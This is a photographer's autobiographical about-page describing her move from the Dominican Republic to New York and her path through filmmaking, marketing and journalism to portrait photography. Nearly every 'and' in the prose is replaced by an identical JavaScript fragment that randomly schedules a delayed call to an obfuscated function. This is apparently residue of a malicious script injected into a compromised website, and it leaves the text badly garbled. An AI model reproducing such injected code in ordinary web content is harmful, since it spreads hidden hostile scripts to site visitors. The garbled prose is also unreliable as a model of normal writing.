Meet Ray

My name is Raymari Rodriguez andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and I am a portrait photographer. More than a job or career photography is my calling.

When I first moved to New York from Dominican Republic at the age of eleven, I felt out
of place, I did not speak the language andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and went from being in a small catholic school, where I was heavily involved in acting andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and crafts, to attending a public, city school with thousandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands of kids.  In efforts to fit in I joined an after school program, it was there that I was first exposed to filmmaking. We learned to write, record andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and edit videos, ranging from interviews to small documentaries. I enjoyed putting together the stories andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and making sure every aspect from wardrobe to the set matched what we were trying to convey. It came natural to me, mind you we were using cardboard props but we made it work.

During my high school years I was heavily involved in TV Production as well as volunteer work. I was lucky enough to attend the Manhattan Film School. During my time there I learned different aspects of filmmaking. I was introduced to a film producer who shared his story, about the years he spent trying to get someone to produce his script, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the struggles he went thru. Hearing his success story put things in perspective andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and helped me go on a search to determine what my true passion really was.

When I graduated high school I was not certain of my career path, I decided to study Marketing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and journalism.  While studying Marketing I learned about the business world andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and was intrigued by brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anding andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and advertising. I became passionate about the subject; I took every assignment very seriously, when students showed up with posters, I had flyers, sample products andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and a heck of a presentation. Journalism, on the other handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and, became my favorite, because telling stories, recognizing what people wanted to know andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and connecting with people is second nature to me.

For an elective I took photography, it fit my schedule.  Little did I know photography was the medium I needed; the creative freedom, the ability to connect with people andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tell a story it was all there, I wanted more! I began to find different outlets; I educated myself in the subject andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and practiced. I took photography courses from different schools as well as online. I learned about posing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and connecting with clients. Having been part of TV production I was already knowledgeable in stage sets, I decided to take sewing lessons so I could make “photo shoot gowns” andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and props.  I noticed that when I got the opportunity to work with a small business client to do headshots andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and some product photography, I didn’t just want to take her pictures, I wanted to help her, share my knowledge about, marketing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and create videos that tell the story of her products. I realized I was still passionate about what I had learned. I feel so lucky that I get to use my crafting skills, something that I have always loved. I can connect with women, ease their insecurities, learn their story andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and reflect that with a photograph. Lastly I can use my filmmaking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and marketing experience to help small businesses compete with big corporations who have all those experts at their disposal.  I am able to serve people using skills that may seem random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andomly acquired but somehow fit exactly what I want to do andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and most importantly I truly enjoy what I do so it doesn’t feel like work, instead it feels like my calling.